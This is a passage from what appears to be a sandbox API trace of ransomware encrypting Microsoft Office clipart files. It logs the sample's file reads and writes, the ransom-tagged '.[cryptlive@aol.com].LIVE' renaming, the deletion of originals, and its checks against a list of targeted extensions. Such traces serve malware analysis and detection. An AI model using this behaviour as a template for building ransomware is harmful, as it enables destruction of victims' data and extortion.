Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0135.611] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.611] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.840] GetLastError () returned 0x0 [0135.840] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xfe2, lpOverlapped=0x0) returned 1 [0135.845] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0135.847] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0135.847] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.847] SetEndOfFile (hFile=0x1fc) returned 1 [0135.847] CloseHandle (hObject=0x1fc) returned 1 [0135.847] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.847] SetEndOfFile (hFile=0x3a8) returned 1 [0135.850] CloseHandle (hObject=0x3a8) returned 1 [0135.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0135.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.983] lstrlenW (lpString=".doc") returned 4 [0135.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.983] lstrlenW (lpString=".docx") returned 5 [0135.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.983] lstrlenW (lpString=".pdf") returned 4 [0135.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.983] lstrlenW (lpString=".xls") returned 4 [0135.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.983] lstrlenW (lpString=".xlsx") returned 5 [0135.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.983] lstrlenW (lpString=".ppt") returned 4 [0135.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.984] lstrlenW (lpString=".zip") returned 4 [0135.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.984] lstrlenW (lpString=".rar") returned 4 [0135.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.984] lstrlenW (lpString=".bz2") returned 4 [0135.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.984] lstrlenW (lpString=".7z") returned 3 [0135.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.984] lstrlenW (lpString=".dbf") returned 4 [0135.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.984] lstrlenW (lpString=".1cd") returned 4 [0135.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.985] lstrlenW (lpString=".jpg") returned 4 [0135.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.985] lstrlenW (lpString=".doc") returned 4 [0135.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString=".docx") returned 5 [0135.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.985] lstrlenW (lpString=".pdf") returned 4 [0135.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString=".xls") returned 4 [0135.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.985] lstrlenW (lpString=".xlsx") returned 5 [0135.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.985] lstrlenW (lpString=".ppt") returned 4 [0135.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.985] lstrlenW (lpString=".zip") returned 4 [0135.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.985] lstrlenW (lpString=".rar") returned 4 [0135.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString=".bz2") returned 4 [0135.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.985] lstrlenW (lpString=".7z") returned 3 [0135.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.985] lstrlenW (lpString=".dbf") returned 4 [0135.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.986] lstrlenW (lpString=".1cd") returned 4 [0135.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0135.986] lstrlenW (lpString=".jpg") returned 4 [0135.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.986] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0135.986] lstrlenW (lpString="BD10890_.GIF") returned 12 [0135.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0135.987] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=13515) returned 1 [0135.987] CloseHandle (hObject=0x3a4) returned 1 [0135.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0135.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0135.988] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.988] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.988] GetLastError () returned 0x0 [0135.988] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x34cb, lpOverlapped=0x0) returned 1 [0135.990] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0135.991] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0135.992] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.992] SetEndOfFile (hFile=0x38c) returned 1 [0135.992] CloseHandle (hObject=0x38c) returned 1 [0135.992] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0135.992] SetEndOfFile (hFile=0x3a4) returned 1 [0136.012] CloseHandle (hObject=0x3a4) returned 1 [0136.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0136.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.050] lstrlenW (lpString=".doc") returned 4 [0136.050] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.050] lstrlenW (lpString=".docx") returned 5 [0136.051] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.051] lstrlenW (lpString=".pdf") returned 4 [0136.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString=".xls") returned 4 [0136.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString=".xlsx") returned 5 [0136.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.051] lstrlenW (lpString=".ppt") returned 4 [0136.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString=".zip") returned 4 [0136.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString=".rar") returned 4 [0136.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString=".bz2") returned 4 [0136.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.051] lstrlenW (lpString=".7z") returned 3 [0136.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString=".dbf") returned 4 [0136.051] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString=".1cd") returned 4 [0136.051] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString=".jpg") returned 4 [0136.051] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.051] lstrlenW (lpString=".doc") returned 4 [0136.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0136.051] lstrlenW (lpString=".docx") returned 5 [0136.051] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0136.051] lstrlenW (lpString=".pdf") returned 4 [0136.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0136.051] lstrlenW (lpString=".xls") returned 4 [0136.052] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0136.052] lstrlenW (lpString=".xlsx") returned 5 [0136.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0136.052] lstrlenW (lpString=".ppt") returned 4 [0136.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0136.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.052] lstrlenW (lpString=".zip") returned 4 [0136.052] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0136.052] lstrlenW (lpString=".rar") returned 4 [0136.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0136.052] lstrlenW (lpString=".bz2") returned 4 [0136.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0136.052] lstrlenW (lpString=".7z") returned 3 [0136.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0136.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.052] lstrlenW (lpString=".dbf") returned 4 [0136.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0136.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.052] lstrlenW (lpString=".1cd") returned 4 [0136.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0136.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0136.052] lstrlenW (lpString=".jpg") returned 4 [0136.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0136.052] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.052] lstrlenW (lpString="BD19827_.WMF") returned 12 [0136.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.066] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9710) returned 1 [0136.066] CloseHandle (hObject=0x3a4) returned 1 [0136.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0136.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.067] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.067] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.072] GetLastError () returned 0x0 [0136.072] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x25ee, lpOverlapped=0x0) returned 1 [0136.073] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0136.075] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.075] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.075] SetEndOfFile (hFile=0x388) returned 1 [0136.075] CloseHandle (hObject=0x388) returned 1 [0136.076] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.076] SetEndOfFile (hFile=0x3a4) returned 1 [0136.079] CloseHandle (hObject=0x3a4) returned 1 [0136.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.080] lstrlenW (lpString=".doc") returned 4 [0136.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString=".docx") returned 5 [0136.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.080] lstrlenW (lpString=".pdf") returned 4 [0136.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString=".xls") returned 4 [0136.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.080] lstrlenW (lpString=".xlsx") returned 5 [0136.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.080] lstrlenW (lpString=".ppt") returned 4 [0136.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.080] lstrlenW (lpString=".zip") returned 4 [0136.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.080] lstrlenW (lpString=".rar") returned 4 [0136.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString=".bz2") returned 4 [0136.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString=".7z") returned 3 [0136.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.080] lstrlenW (lpString=".dbf") returned 4 [0136.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.080] lstrlenW (lpString=".1cd") returned 4 [0136.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString=".jpg") returned 4 [0136.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString=".doc") returned 4 [0136.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString=".docx") returned 5 [0136.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.081] lstrlenW (lpString=".pdf") returned 4 [0136.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString=".xls") returned 4 [0136.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.081] lstrlenW (lpString=".xlsx") returned 5 [0136.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.081] lstrlenW (lpString=".ppt") returned 4 [0136.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString=".zip") returned 4 [0136.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.081] lstrlenW (lpString=".rar") returned 4 [0136.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString=".bz2") returned 4 [0136.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString=".7z") returned 3 [0136.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString=".dbf") returned 4 [0136.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.081] lstrlenW (lpString=".1cd") returned 4 [0136.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0136.082] lstrlenW (lpString=".jpg") returned 4 [0136.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.082] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.082] lstrlenW (lpString="BD19986_.WMF") returned 12 [0136.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.082] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14486) returned 1 [0136.082] CloseHandle (hObject=0x3a4) returned 1 [0136.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0136.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.083] SetFilePointerEx (in: hFile=0x3a4, 